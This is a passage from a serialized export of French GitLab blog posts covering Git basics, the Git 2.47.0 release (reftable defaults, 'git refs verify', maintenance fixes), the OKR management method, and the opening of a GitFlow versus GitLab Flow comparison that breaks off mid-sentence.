Pourquoi utiliser Git ?\n\nGit est entièrement axé sur l'efficacité. Grâce au système décentralisé de Git, reposant sur des fonctionnalités de branching et de merging, les équipes de développement travaillent sur un même projet sans interférer avec le travail des autres, et surtout sans créer de conflits de versions.\n\n### Est-ce que Git est un logiciel ?\n\nGit est un projet open source. À ce titre, son accès est gratuit et ouvert à tous. Il convient cependant d'[installer Git](https://docs.gitlab.com/ee/topics/git/how_to_install_git/ \"Installation de Git\") au préalable sur votre machine pour pouvoir commencer à travailler.\n\n### Qu'est ce qu'une branche dans Git ?\n\nDans Git, une branche représente un pointeur vers un historique de modifications. Ainsi, chaque branche principale pointe vers le dernier commit effectué sur celle-ci. Il est donc possible d’avoir une multitude de branches en parallèle, chacune ayant son propre historique, mais toutes ayant la même racine.\n\n### Qu'est-ce qu'un commit ?\n\nDans Git, un commit correspond à un enregistrement des modifications apportées au code source d'un logiciel. Chaque commit est accompagné d'un message explicatif qui trace l'historique de toutes les modifications. Le suivi d'évolution d'un projet devient plus facile, et il existe toujours la possibilité de revenir à des versions antérieures fonctionnelles en cas de problème.\n\n### Quel est l'intérêt des branches dans Git ?\n\nLe développement de fonctionnalités dans des branches autorise les développeurs et développeuses à travailler simultanément sur plusieurs fonctionnalités distinctes. De plus, cela évite de compromettre la branche principale (main) avec du code instable. L'implémentation des branches dans Git est, par ailleurs, nettement plus légère que dans d'autres systèmes de contrôle de version.\n",[1047,913],{"slug":2211,"featured":92,"template":683},"what-is-git","content:fr-fr:blog:what-is-git.yml","What Is Git","fr-fr/blog/what-is-git.yml","fr-fr/blog/what-is-git",{"_path":2217,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2218,"content":2223,"config":2229,"_id":2231,"_type":16,"title":2232,"_source":17,"_file":2233,"_stem":2234,"_extension":20},"/fr-fr/blog/whats-new-in-git-2-47-0",{"title":2219,"description":2220,"ogTitle":2219,"ogDescription":2220,"noIndex":6,"ogImage":1921,"ogUrl":2221,"ogSiteName":841,"ogType":842,"canonicalUrls":2221,"schema":2222},"Nouveautés de Git 2.47.0","Découvrez les contributions de l'équipe Git de GitLab et de la communauté Git au sens large à la dernière version de Git.","https://about.gitlab.com/blog/whats-new-in-git-2-47-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Nouveautés de Git 2.47.0\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Justin Tobler\"}],\n        \"datePublished\": \"2024-10-07\",\n      }\n                  ",{"title":2219,"description":2220,"authors":2224,"heroImage":1921,"date":2225,"body":2226,"category":928,"tags":2227,"updatedDate":2228},[1044],"2024-10-07","Le projet Git a récemment publié la [version 2.47.0 de Git](https://lore.kernel.org/git/xmqqa5fg9bsz.fsf@gitster.g/). Jetons un coup d'œil aux points forts de cette nouvelle version, comprenant des contributions de l'équipe Git de GitLab et de la communauté Git au sens large.\n\n## Nouvelles options de configuration globales\n\nSi vous suivez les dernières versions de Git, vous avez sûrement entendu parler du nouveau backend « reftable » introduit dans la [version 2.45.0 de Git](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-45-0/). \n\nAuparavant, pour initialiser un dépôt au [format « reftable »](https://about.gitlab.com/fr-fr/blog/a-beginners-guide-to-the-git-reftable-format/ \"Format reftable de Git\"), il fallait transmettre l'option `--ref-format` à git-init(1) :\n\n```sh\n$ git init --ref-format reftable\n```\n\nAvec la nouvelle version 2.47, Git dispose désormais de l'option de configuration `init.defaultRefFormat`,\nlaquelle indique à Git quel backend de gestion des références utiliser lors de l'initialisation d'un\ndépôt. Cette dernière peut être utilisée pour remplacer le backend « fichiers » par défaut et commencer à utiliser le backend « reftable ». Pour la configuration, procédez comme suit :\n\n```sh\n$ git config set --global init.defaultRefFormat reftable\n```\n\nComme certains d'entre vous le savent peut-être déjà, le format de hachage d'objets utilisé par les dépôts Git est\négalement configurable. Par défaut, les dépôts sont initialisés pour utiliser le\nformat d'objet SHA-1. Il existe toutefois une alternative, le format SHA-256, qui offre davantage de sécurité et qui est plus évolutif. Pour en savoir plus, consultez notre \n[article dédié à la prise en charge de SHA-256 dans Gitaly](https://about.gitlab.com/blog/sha256-support-in-gitaly/#what-is-sha-256%3F). Pour créer un dépôt SHA-256, vous devez transmettre l'option `--object-format` à git-init(1) :\n\n```sh\n$ git init --object-format sha256\n```\n\nCette nouvelle version de [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \") inclut une autre option de configuration : `init.defaultObjectFormat` qui indique à Git le format d'objet à utiliser par défaut lors de l'initialisation d'un dépôt. Pour la configuration, procédez comme suit :\n\n```sh\n$ git config set --global init.defaultObjectFormat sha256\n```\n\nIl convient de noter que les dépôts SHA-256 ne sont pas interopérables avec les dépôts SHA-1\net que toutes les forges logicielles ne prennent pas en charge l'hébergement de dépôts SHA-256. GitLab\na récemment annoncé une [prise en charge expérimentale pour les dépôts SHA-256](https://about.gitlab.com/blog/gitlab-now-supports-sha256-repositories/) pour celles et ceux qui souhaitent l'essayer.\n\nCes options fournissent un mécanisme utile pour commencer à utiliser ces fonctionnalités\nde dépôt plus simplement lors de l'initialisation d'un nouveau dépôt.\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Nouvelle sous-commande pour git-refs(1)\n\nLa précédente version de Git avait introduit la commande [git-refs(1)](https://git-scm.com/docs/git-refs) afin d'offrir un accès plus direct aux références d'un\ndépôt et fournissait la sous-commande « migrate » pour basculer d'un backend de gestion des références à un autre. Cette nouvelle version 2.47.0 introduit une nouvelle sous-commande « verify », qui permet à l'utilisateur de vérifier la cohérence de la base de données qui gère les références. Pour procéder à cette vérification dans un dépôt, il est courant d'utiliser la commande [git-fsck(1)](https://git-scm.com/docs/git-fsck/fr).\n\nCette commande ne vérifie cependant pas explicitement la base de données qui gère les références du dépôt. Avec l'introduction du format de référence « reftable », lequel est un format binaire et donc plus difficile à inspecter manuellement, il est désormais encore plus important de mettre en place des outils pour combler cette lacune. Démontrons ce fait en configurant un dépôt avec une référence invalide :\n\n```sh\n# The \"files\" backend is used so we can easily create an invalid reference.\n$ git init --ref-format files\n$ git commit --allow-empty -m \"init\"\n# A lone '@' is not a valid reference name.\n$ cp .git/refs/heads/main .git/refs/heads/@\n$ git refs verify\nerror: refs/heads/@: badRefName: invalid refname format\n```\n\nNous constatons effectivement que la référence invalide a été détectée et qu'un message d'erreur a été envoyé à l'utilisateur. Bien que cet outil ne soit probablement pas destiné à être utilisé par l'utilisateur final, il est particulièrement utile côté serveur pour garantir la cohérence des dépôts. À terme, l'objectif est d'intégrer cette commande à git-fsck(1) afin de fournir un moyen unifié d'exécuter les contrôles de cohérence des dépôts.\n\nCe projet a été mené par Jialuo She dans le cadre du programme Google Summer of Code. Pour\nen savoir plus, consultez le [rapport du GSoC de Jialuo She](https://luolibrary.com/2024/08/25/GSoC-Final-Report/).\n\n## Améliorations relatives aux reftables\n\nCette nouvelle version inclut également des corrections pour certains bogues détectés dans le backend « reftable ». L'un d'entre eux est particulièrement intéressant et concerne la manière dont le compactage des tables était effectué.\n\nComme vous vous en souvenez peut-être, le backend « reftable » consiste en une série de tables\ncontenant l'état de toutes les références dans le dépôt. Chaque opération atomique de modifications de références entraîne l'écriture d'une nouvelle table, laquelle est alors enregistrée dans le fichier « tables.list ». Pour réduire le nombre de tables présentes, les tables sont compactées pour suivre une séquence géométrique en fonction de la taille du fichier après chaque mise à jour des références. Une fois les tables compactées, le fichier « tables.list » est mis à jour pour refléter le nouvel état des reftables sur le disque.\n\nPar conception, l'écriture et le compactage simultanés des tables sont autorisés. La synchronisation à certains moments est contrôlée par l'utilisation de fichiers de verrouillage. Par exemple, lorsque le compactage commence, le fichier « tables.list » est d'abord verrouillé afin qu'il puisse être lu de manière cohérente, et les tables nécessitant un compactage peuvent également être verrouillées. Comme le compactage des tables peut prendre un certain temps, le verrouillage est levé et les écritures simultanées peuvent alors commencer. Cette méthode est sûre, car les processus d’écriture simultanés savent qu'ils ne doivent pas modifier les tables verrouillées sur le point d'être compactées. Une fois que les nouvelles tables compactées ont été écrites, le fichier « tables.list » est à nouveau verrouillé et est, cette fois-ci, mis à jour pour refléter le nouvel état des tables.\n\nUn problème subsiste cependant : que se passe-t-il si une mise à jour de référence simultanée écrit une nouvelle table dans le fichier « tables.list » à mi-chemin du compactage des tables après que le verrouillage initial a été levé, mais avant que le nouveau fichier « tables.list » n'ait été écrit ? Dans ce cas, le processus de compactage ignore alors l'existence de la nouvelle table et réécrit donc le fichier « tables.list » sans inclure la nouvelle table. Cette situation a pour effet d'ignorer la mise à jour de l'écriture simultanée et d'empêcher l’ajout, la mise à jour ou la suppression des références.\n\nHeureusement, la solution pour remédier à ce problème est assez simple. Lorsque le processus de compactage obtient le verrou pour écrire dans le fichier « tables.list », il doit d'abord vérifier si des mises à jour du fichier ont eu lieu et recharger le fichier. Cela permet de s'assurer que les mises à jour simultanées des tables sont également reflétées correctement. Pour plus d'informations sur cette correction, consultez ce\n[fil de discussion](https://lore.kernel.org/git/cover.1722435214.git.ps@pks.im/).\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Corrections pour git-maintenance(1)\n\nAu fur et à mesure qu'un dépôt évolue, il est important qu'il soit correctement maintenu. Par\ndéfaut, Git exécute\n[git-maintenance(1)](https://git-scm.com/docs/git-maintenance) après certaines\nopérations pour maintenir le dépôt fonctionnel. Afin d'éviter une maintenance\ninutile, l'option `--auto` est spécifiée et utilise une heuristique définie pour déterminer si les tâches de maintenance doivent être exécutées. Bien que la commande puisse être\nconfigurée pour effectuer différentes tâches de maintenance, elle exécute simplement par défaut [git-gc(1)](https://git-scm.com/docs/git-gc/fr) en arrière-plan, permettant ainsi à l'utilisateur de poursuivre ses activités.\n\nTout fonctionne comme prévu jusqu'à ce que la maintenance soit configurée pour effectuer des tâches supplémentaires, différentes de celles prévues par défaut. Dans ce cas, les tâches de maintenance configurées s'exécutent au premier plan et le processus de maintenance initial ne s'interrompt pas tant que toutes les tâches ne sont pas terminées. Seule la tâche « gc » s'exécute en arrière-plan comme prévu. En effet, git-gc(1) se détache malencontreusement lorsqu'elle est exécutée avec `--auto`, tandis que les autres tâches de maintenance n'ont aucun mécanisme pour le faire. Résultat ? Un ralentissement de certaines commandes Git, la maintenance automatique devant s'exécuter entièrement avant qu'elles ne puissent se terminer.\n\nCette nouvelle version résout ce problème en ajoutant à git-maintenance(1) l'option `--detach`, qui permet à l'ensemble du processus git-maintenance(1) de s'exécuter en arrière-plan à la place des tâches individuelles. La maintenance automatique effectuée par Git a également été mise à jour pour utiliser cette nouvelle option. Pour plus d'informations sur cette correction, consultez ce [fil de discussion](https://lore.kernel.org/git/cover.1723533091.git.ps@pks.im/) pour en savoir plus.\n\nIl a été mentionné précédemment que l'auto-maintenance utilise un ensemble\nd'heuristiques pour déterminer si certaines opérations de maintenance doivent être effectuées ou non. Malheureusement, pour le backend « fichiers » de gestion des références, lorsque\n[git-pack-refs(1)](https://git-scm.com/docs/git-pack-refs/fr) s'exécute avec\nl'option `--auto`, il n'y a pas de telle heuristique, et toutes les références non compactées sont inconditionnellement compactées dans un fichier « packed-refs ». Pour les dépôts avec de nombreuses références, la réécriture du fichier « packed-refs » peut prendre beaucoup de temps.\n\nCette nouvelle version introduit également une heuristique qui décide s'il faut compacter\nles références non compactées dans le backend « fichiers ». Cette heuristique prend en compte la taille du fichier « packed-refs » existant et le nombre de références non compactées présentes dans le dépôt. Plus le fichier « packed-refs » est volumineux, plus le seuil du nombre de références non compactées est élevé avant que le compactage des références ne se produise. Cela permet de rendre moins agressif le compactage des références dans le backend « fichiers » tout en maintenant le dépôt dans un état correct. Consultez ce [fil de discussion](https://lore.kernel.org/git/cover.1725280479.git.ps@pks.im/)\npour plus d'informations.\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Refactorisation du code et amélioration de la maintenabilité\n\nEn plus des changements fonctionnels, un travail de refactorisation et de nettoyage du code est également en cours. Très précieuses, ces améliorations aident le projet à se rapprocher de son objectif de longue date qui est de créer une bibliothèque de librairies de ses composants internes. Pour en savoir plus, consultez cette récente\n[mise à jour du fil de discussion](https://lore.kernel.org/git/eoy2sjhnul57g6crprxi3etgeuacjmgxpl4yllstih7woyuebm@bd62ib3fi2ju/) sur la création d'une bibliothèque de librairies.\n\nL'un des domaines d'amélioration concerne la résolution des fuites de mémoire. Le projet Git présente en effet un certain nombre de fuites de mémoire. Ces fuites ne posent généralement pas de problème puisqu'un processus Git ne s'exécute que pendant une courte période et qu'un nettoyage est effectué par le système par la suite. Dans un contexte de création d'une bibliothèque de librairies, il s'agit cependant d'un problème qu'il convient de résoudre. Les tests du projet peuvent être compilés à l'aide d'un outil conçu pour détecter les fuites. Cependant, en raison de la présence de fuites existantes, il est difficile de valider et de garantir que les nouveaux changements n'introduisent pas d'autres fuites. Des efforts continus ont été déployés pour corriger toutes les fuites de mémoire détectées par les tests existants dans le projet. Les tests qui n'ont détecté aucune fuite sont ensuite mis en évidence avec la mention `TEST_PASSES_SANITIZE_LEAK=true` afin d'indiquer qu'ils sont supposés être exempts de fuites à l'avenir. Le projet compte aujourd'hui 60 fichiers de test contenant des fuites de mémoire, contre 223 auparavant.\n\nUne autre initiative en cours a pour but de réduire l'utilisation de variables globales\ndans l'ensemble du projet. L'une de ces fameuses variables globales est `the_repository`, laquelle contient l'état du dépôt en cours d’utilisation et est référencée dans l'ensemble du projet. La nouvelle version Git 2.47.0 s'accompagne d'un certain nombre de correctifs qui suppriment l'utilisation de `the_repository` en faveur d'une transmission directe de la valeur là où c'est nécessaire. Les sous-systèmes du projet Git qui dépendent encore de `the_repository` définissent la variable `USE_THE_REPOSITORY_VARIABLE`, permettant ainsi d'utiliser la variable globale. De cette manière, les sous-systèmes refs, config et path ne dépendent plus de son utilisation.\n\nCe projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab)\navec l'aide de [John Cai](https://gitlab.com/jcaigitlab) et\n[Jeff King](https://github.com/peff).\n\n## En savoir plus\n\nCet article n'a mis en évidence que quelques-unes des contributions apportées par GitLab et la communauté Git au sens large pour cette nouvelle version. Vous pouvez approfondir ce sujet en lisant [l'annonce officielle](https://lore.kernel.org/git/xmqqa5fg9bsz.fsf@gitster.g/)\ndu projet Git et en consultant les ressources suivantes :\n\n- [Nouveautés de Git 2.46.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-46-0/)\n- [Nouveautés de Git 2.45.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-45-0/)\n- [Guide pour les débutants sur le format reftable Git](https://about.gitlab.com/fr-fr/blog/a-beginners-guide-to-the-git-reftable-format/)\n- [Git fetch vs git pull : quelle est la différence entre ces deux commandes Git ?](https://about.gitlab.com/fr-fr/blog/git-pull-vs-git-fetch-whats-the-difference/)",[1047,913,270],"2024-10-21",{"slug":2230,"featured":92,"template":683},"whats-new-in-git-2-47-0","content:fr-fr:blog:whats-new-in-git-2-47-0.yml","Whats New In Git 2 47 0","fr-fr/blog/whats-new-in-git-2-47-0.yml","fr-fr/blog/whats-new-in-git-2-47-0",{"_path":2236,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2237,"content":2243,"config":2248,"_id":2250,"_type":16,"title":2251,"_source":17,"_file":2252,"_stem":2253,"_extension":20},"/fr-fr/blog/what-is-an-okr-definition",{"title":2238,"description":2239,"ogTitle":2238,"ogDescription":2239,"noIndex":6,"ogImage":2240,"ogUrl":2241,"ogSiteName":841,"ogType":842,"canonicalUrls":2241,"schema":2242},"OKR : la méthode pour définir ses objectifs et les atteindre","Dans cet article, découvrez la méthode OKR, comment l′appliquer au sein de votre organisation pour mieux définir vos objectifs et les atteindre.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665726/Blog/Hero%20Images/OKR.jpg","https://about.gitlab.com/blog/what-is-an-okr-definition","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"OKR : la méthode pour définir ses objectifs et les atteindre\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab France Team\"}],\n        \"datePublished\": \"2024-10-02\",\n      }",{"title":2238,"description":2239,"authors":2244,"heroImage":2240,"date":2245,"body":2246,"category":764,"tags":2247},[1232],"2024-10-02","Créés par le 3ème employé d′Intel, [Andrew Grove](https://fr.wikipedia.org/wiki/Andrew_Grove \"Biographie de Andrew Grove\"), dans les années 1970, les Objectifs & Résultats Clés (OKR) sont une méthode de gestion pour aider les organisations à atteindre leurs objectifs. Grove a conçu une idée simple mais puissante : définir où l′on veut aller (Objectif) et mesurer le progrès réalisé pour y parvenir (Résultats Clés). Il a contribué à la popularisation de la méthode dans son livre paru en 1995, « High Output Management ». Par la suite, [John Doerr](https://fr.wikipedia.org/wiki/John_Doerr \"Biographie de John Doerr\"), ancien employé d′Intel, introduit cette méthode chez Google et développe la notoriété des OKR à travers son livre « Measure What Matters » ( « Mesurez ce qui compte »). \n\nDans cet article, découvrez les principes de la méthode OKR et comment l′appliquer à votre organisation. \n\n## OKR (Objective and Key Results) : définition\n\nConcrètement, que sont les OKR ? Il s’agit d’une méthode pour définir des objectifs clairs au sein d′une entreprise. Les objectifs sont associés simultanément à des résultats spécifiques et mesurables. Ces indicateurs permettent de suivre le progrès et la réalisation de ces objectifs. \n\nLes OKR sont donc composés de deux éléments : \n- __Les objectifs :__ une description précise, courte et qualitative des objectifs à atteindre.\n- __Les résultats clés__ : l′ensemble des indicateurs pour attester du progrès et de l'atteinte de l'objectif.\n\nGrâce aux résultats clés, les entreprises suivent les progrès des différentes équipes avec objectivité. Généralement, elles définissent des OKR globaux et des OKR pour chaque service. Ceux-ci dépendent des priorités de chaque entreprise en fonction du contexte, des concurrents, des clients actuels, du business model ou encore des plans d′évolution. \n\nMais pourquoi définir des objectifs précis pour chaque équipe ? Les OKR par service précisent les points sur lesquels les employés doivent se concentrer. L′entreprise suit donc avec précision son développement, comprend pourquoi elle atteint (ou non) ses objectifs et ajuste sa stratégie en temps réel en fonction des résultats clés obtenus. \n\n> [Essayez GitLab Ultimate gratuitement.](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial \"Essai gratuit de GitLab. \") \n\n## Comprendre la méthode OKR \n\nAu sein de votre entreprise, la méthode OKR traduit la vision stratégique globale en objectifs actionnables et mesurables pour vos équipes. \n\nOn peut séparer les OKR en trois grandes catégories : \n\n- __les OKR organisationnels__ : ils sont le cap à prendre pour l’entreprise. Les OKR organisationnels traduisent la vision globale. Généralement définis sur une année, ils assurent l’alignement stratégique de toutes les équipes. \n\n- __les OKR tactiques__ : ils concernent les objectifs de chaque équipe de l’entreprise. Définis sur un cycle plus court (mensuel ou trimestriel), l’entreprise reste agile face aux changements et aux résultats de chaque service. \n\n- __les OKR individuels__ : attribués personnellement à chaque employé, ils permettent d′aligner tous les collaborateurs sur la stratégie de son équipe et globale de l′entreprise. \n\n## Pourquoi utiliser la méthodologie OKR ?\n\nLa méthode OKR encourage une culture de la performance, de la transparence et de l′engagement. Elle aligne les objectifs individuels avec la vision de l′entreprise. Voici trois raisons pour lesquelles vous devriez adopter la méthode OKR au sein de votre entreprise. \n\n### 1 – La clarté des objectifs\n\nAvec la méthode OKR, la définition des objectifs doit être précise et concise. Ils sont révélateurs de ce que l'entreprise souhaite accomplir durant le prochain mois ou trimestre. Puisque des indicateurs spécifiques et mesurables s′ajoutent aux objectifs, les équipes comprennent clairement la direction à prendre. \n\n### 2 – La priorisation des projets\n\nAvec la définition d′un résultat à atteindre dans un laps de temps donné, vous déterminez la priorité pour votre équipe. Vous allouez donc les ressources stratégiquement pour atteindre les résultats escomptés. Le management de l′organisation est également plus simple : tout le monde travaille dans la même direction. La cohésion et la productivité de l′entreprise bénéficient de cette priorisation.\n\n### 3 – La mesure des performances\n\nUn objectif sans résultats clés empêche le suivi précis de sa réalisation. Les indicateurs de performance seuls donnent des résultats sans avoir de direction précise, ni de priorité dans l′amélioration de ces performances. Utiliser la méthode OKR est donc une technique optimale pour faire avancer son organisation vers la réalisation de ses objectifs. Elle mesure efficacement les progrès de l′entreprise et permet d′ajuster les actions en conséquence. \n\n## Comment définir et suivre les OKR ?\n\n1. __La vision.__ Tout commence par la définition de votre cap. Qu′est-ce qui est primordial pour votre entreprise ? Vous pouvez aussi prioriser selon le concept du livre « The One Thing » de Gary Keller : quelle est la tâche à faire pour que tout le reste devienne plus facile ou inutile ? Imaginez l′impact souhaité à la fin du mois ou du trimestre. \n\n2. __L′objectif.__ Une fois que votre vision est clarifiée, il est temps de définir un objectif ambitieux avec un laps de temps précis.\n\nExemple : Une équipe DevSecOps souhaite améliorer son temps de réaction aux incidents de sécurité. Son objectif est de réduire de 25 % le délai moyen de résolution des incidents de sécurité au cours du prochain trimestre.\n\n3. __Les résultats clés.__ Ajoutez des résultats clés mesurables. Si besoin, découpez l′objectif en sous-parties auxquelles vous ajoutez un indicateur de performance. Limitez vos résultats clés à 5 au maximum. Trop d'indicateurs perturbent la lecture de l'atteinte de l'objectif et empêchent les équipes de se focaliser sur un aspect particulier à améliorer. \n\nExemple avec cette même équipe DevSecOps, dont les résultats clés définis sont les suivants : \n- Automatiser au moins 40 % des tâches de résolution des incidents de sécurité,\n- Procéder à un examen de sécurité bimensuel,\n- Implémenter les outils de test de sécurité sur le code.\n\nChaque résultat clé est précis et mesurable et se rapporte à l'objectif de réduction du temps de résolution des problèmes de sécurité.\n\n4. __Le suivi.__ Implémentez les outils de suivi les plus pertinents pour visualiser vos progrès. Affichez ces KPIs clairement au sein de votre entreprise et faites part de vos avancées lors des réunions d’équipe. \n\n5. __Les révisions.__ Organisez des révisions régulières, dont la fréquence est à définir selon l′OKR. Cela permet de corriger la stratégie si nécessaire ou de continuer si vous attestez des progrès. Encouragez les membres de l′équipe à donner leur feedback sur l′efficacité des stratégies et les améliorations potentielles.\n\n6. __Fin du cycle.__ Examinez si les résultats clés sont atteints. Tirez des leçons pour les prochains OKR et recommencez. \n\nPour les équipes DevSecOps, ce cycle permet de voir le fruit de leur travail, mais aussi de l'impact réel sur les utilisateurs et l'entreprise.  \n\n## KPI vs OKR : quelles différences ?\n\nLes KPIs se concentrent sur le suivi de la performance, quand les OKR précisent l'objectif de l'entreprise et les résultats quantifiés pour l′atteindre. Voici en quoi ces deux notions sont différentes : \n\n- __Indicateurs clés de performance (KPI) :__ ils mesurent l'efficacité des processus et des résultats de l′existant. \n- __Objectifs et résultats clés (OKR) :__ ils établissent l′objectif de l′organisation ou d'un service et associent des résultats précis à atteindre pour considérer l'objectif comme réussi.\n\n## Méthode OKR avec GitLab\n\nLes équipes DevSecOps ont la possibilité de définir leurs OKR, puis de suivre leurs progrès directement depuis GitLab. Découvrez en vidéo [comment utiliser GitLab pour vos OKR](https://handbook.gitlab.com/handbook/company/okrs/#how-to-use-gitlab-for-okrs \"Comment utiliser GitLab pour vos OKR\") : \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/OgJI_Yf4zXs?si=fCMeD-yiIPZtovF_\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n*Nota Bene : la fonctionnalité OKR de GitLab est en cours d’expérimentation et n’est pas disponible par défaut. Pour en savoir plus sur les disponibilités de cette fonctionnalité, [consultez notre documentation](https://docs.gitlab.com/ee/user/okrs.html \"Documentation de GitLab sur les OKR\").* \n\n> [Essayez GitLab Ultimate gratuitement.](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial \"Essai gratuit de GitLab. \") \n\n## FAQ sur les OKR \n\n### MBO vs OKR : quelle est la différence entre les deux ?\n\nUn MBO (Management by Objectives) est fixé sur une période annuelle et se focalise sur l'objectif à atteindre, sans réel indicateur clé associé. Il est fixé par le manager à une personne en privé et représente un facteur de décision concernant l'augmentation de son salaire annuel. Les OKR sont fixés sur une période mensuelle ou trimestrielle. Liés avec les résultats clés et leurs indicateurs, ces objectifs ambitieux et aspirationnels se concentrent sur l'objectif à atteindre et sur les éléments fondamentaux pour y parvenir. \n\n### Quelles sont les erreurs à éviter lors de la définition et du suivi des OKR ?\n\nSi le principe des OKR est simple par définition, sa mise en place présente quelques challenges. Les erreurs les plus communes à éviter lors de la définition et du suivi des OKR sont (liste non-exhaustive) : \n\n- __Définir un trop grand nombre d′OKR.__ Ce type d'objectifs est là pour prioriser ce qui est important pour une entreprise et pour chaque équipe. Multiplier le nombre d′OKR dilue la concentration et rend l'atteinte des objectifs difficile.\n- __Établir des résultats clés non mesurables.__ Le concept des OKR repose sur des résultats permettant d′attester si l′objectif a été atteint. Sans mesure exacte, il est impossible pour une équipe de savoir à quel point elle a progressé. Attention : les résultats clés ne sont pas obligatoirement une tâche à accomplir. Cela peut aussi être une métrique à respecter comme un temps donné, un pourcentage d′accomplissement ou une marge d′erreur maximum. \n- __Ne pas aligner les OKR d′équipe sur les OKR de l′entreprise.__ Les objectifs de chaque équipe découlent du but et de la vision de l′entreprise. Si chaque équipe avance dans son coin, les OKR de l′entreprise deviennent difficiles à atteindre.\n\n### Les OKR sont-ils utiles dans la tech ?\n\nLes OKR proviennent du monde de la tech. Andrew S. Grove a développé le concept chez Intel, repris ensuite par John Doerr chez Google. Cette méthode est donc particulièrement adaptée aux équipes tech et leurs spécificités.",[784,1482],{"slug":2249,"featured":6,"template":683},"what-is-an-okr-definition","content:fr-fr:blog:what-is-an-okr-definition.yml","What Is An Okr Definition","fr-fr/blog/what-is-an-okr-definition.yml","fr-fr/blog/what-is-an-okr-definition",{"_path":2255,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2256,"content":2262,"config":2268,"_id":2270,"_type":16,"title":2271,"_source":17,"_file":2272,"_stem":2273,"_extension":20},"/fr-fr/blog/what-is-gitflow",{"title":2257,"description":2258,"ogTitle":2257,"ogDescription":2258,"noIndex":6,"ogImage":2259,"ogUrl":2260,"ogSiteName":841,"ogType":842,"canonicalUrls":2260,"schema":2261},"GitFlow et GitLab Flow : quelle différence ? ","Découvrez ce qu'est GitFlow, son fonctionnement, ses avantages, ainsi que les différences avec GitLab Flow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659838/Blog/Hero%20Images/AdobeStock_662057734.jpg","https://about.gitlab.com/blog/what-is-gitflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitFlow et GitLab Flow : quelle différence ? \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Team\"}],\n        \"datePublished\": \"2024-09-27\",\n      }",{"title":2257,"description":2258,"authors":2263,"heroImage":2259,"date":2264,"body":2265,"category":928,"tags":2266,"updatedDate":2267},[1253],"2024-09-27","[GitFlow](https://jeffkreeftmeijer.com/git-flow/) permet aux équipes de développement de créer une branche séparée develop (pour le développement) en plus de la branche principale main (pour la production) et la définissent comme branche par défaut.\n\nAvec [GitLab Flow](https://about.gitlab.com/fr-fr/topics/version-control/what-is-gitlab-flow/), en revanche, le développement s'organise principalement dans la branche principale (`main`). GitLab Flow intègre également des branches de préproduction, utilisée pour tester et corriger les bogues avant de fusionner les modifications apportées au code dans la branche `main`. Cette étape précède directement le passage en production, garantissant un code plus fiable. Les équipes peuvent créer autant de branches intermédiaires que nécessaire. Par exemple, un workflow plus structuré peut compter plusieurs niveaux de validation : de la branche `main` vers une branche de test, de la branche test vers une branche de validation, de la branche de validation vers la branche de production. \n\nDans cet article, découvrez ce qu'est GitFlow, son fonctionnement, ses avantages, ainsi que les différences entre GitFlow et GitLab Flow.\n\n> [Essayez GitLab Ultimate gratuitement](https://about.gitlab.com/fr-fr/free-trial/?hosted=saas)\n\n## Sommaire\n- Qu'est-ce que GitFlow ?\n- Comment fonctionne GitFlow ? \n- Quelles sont les différences entre GitFlow et GitLab Flow ?\n- Quels sont les avantages de GitFlow ? \n- Exemples d'utilisation de GitFlow\n\n## Qu'est-ce que GitFlow ?\n\nGitFlow est un workflow Git, c’est-à-dire un modèle de gestion des branches au sein d'un système de [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ? \") décentralisé pour les dépôts Git. Conçu pour organiser efficacement le développement logiciel, il a été [introduit par Vincent Driessen en 2010](https://nvie.com/posts/a-successful-git-branching-model/). Il est adapté aux projets nécessitant une gestion rigoureuse des versions. Il est particulièrement populaire auprès des grandes équipes de développement. \n\n## Comment fonctionne GitFlow ? \n\nContrairement au développement basé sur le tronc, c'est-à-dire sur une seule branche principale, GitFlow repose sur des branches persistantes plutôt que des branches temporaires. GitFlow est particulièrement adapté aux projets ayant des cycles de sorties de nouvelles versions bien définis et aux bonnes pratiques de [livraison continue](https://about.gitlab.com/fr-fr/topics/continuous-delivery/ \"Qu'est-ce que la livraison continue ? \") de l'approche [DevOps](https://about.gitlab.com/fr-fr/solutions/devops-platform/). \n\nÉtant donné que le workflow est structuré avec des branches spécifiques dans GitFlow, vous pouvez ajouter, par exemple, des branches de fonctionnalité (\"feature branches\") aux branches `develop` et `main`, ainsi que des branches `release`. GitFlow permet à votre équipe de comprendre plus facilement la structure du workflow et de savoir où ajouter les modifications dans le pipeline de développement. \n\n## Quelles sont les différences entre GitFlow et GitLab Flow ?\n\nGitFlow est un modèle de gestion des branches pour les dépôts [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \") qui utilise plusieurs branches principales en plus des branches de fonctionnalité. [GitLab Flow](https://about.gitlab.com/fr-fr/topics/version-control/what-is-gitlab-flow/), par ailleurs, vise à 